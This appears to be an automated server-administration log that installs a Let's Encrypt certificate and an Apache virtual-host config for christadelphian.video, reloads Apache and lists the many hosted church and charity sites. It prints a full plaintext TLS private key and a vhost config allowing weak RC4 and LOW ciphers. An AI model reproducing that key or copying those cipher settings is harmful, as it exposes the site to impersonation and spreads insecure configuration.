FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 06:00:32: 

chmod 755 /tmp/pkp575830; /tmp/pkp575830; rm /tmp/pkp575830

2025-12-31 06:00:32: 


dir=/etc/ssl/certs


2025-12-31 06:00:32: 

PUT: /tmp/pkp209075

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 06:00:32: 

chmod 755 /tmp/pkp209075; /tmp/pkp209075; rm /tmp/pkp209075

2025-12-31 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-31 06:00:32: 

PUT: /tmp/pkp657304

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi


2025-12-31 06:00:32: 

chmod 755 /tmp/pkp657304; /tmp/pkp657304; rm /tmp/pkp657304

2025-12-31 06:00:32: 




2025-12-31 06:00:32: 

PUT: /tmp/pkp739557

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 06:00:32: 

chmod 755 /tmp/pkp739557; /tmp/pkp739557; rm /tmp/pkp739557

2025-12-31 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:33: 

PUT: /tmp/pkp588629

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 06:00:33: 

chmod 755 /tmp/pkp588629; /tmp/pkp588629; rm /tmp/pkp588629

2025-12-31 06:00:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:33: 

PUT: /tmp/pkp558908

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:33: 

chmod 755 /tmp/pkp558908; /tmp/pkp558908; rm /tmp/pkp558908

2025-12-31 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1246

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 06:00:33: 

PUT: /tmp/pkp182638

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:33: 

chmod 755 /tmp/pkp182638; /tmp/pkp182638; rm /tmp/pkp182638

2025-12-31 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	5381
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
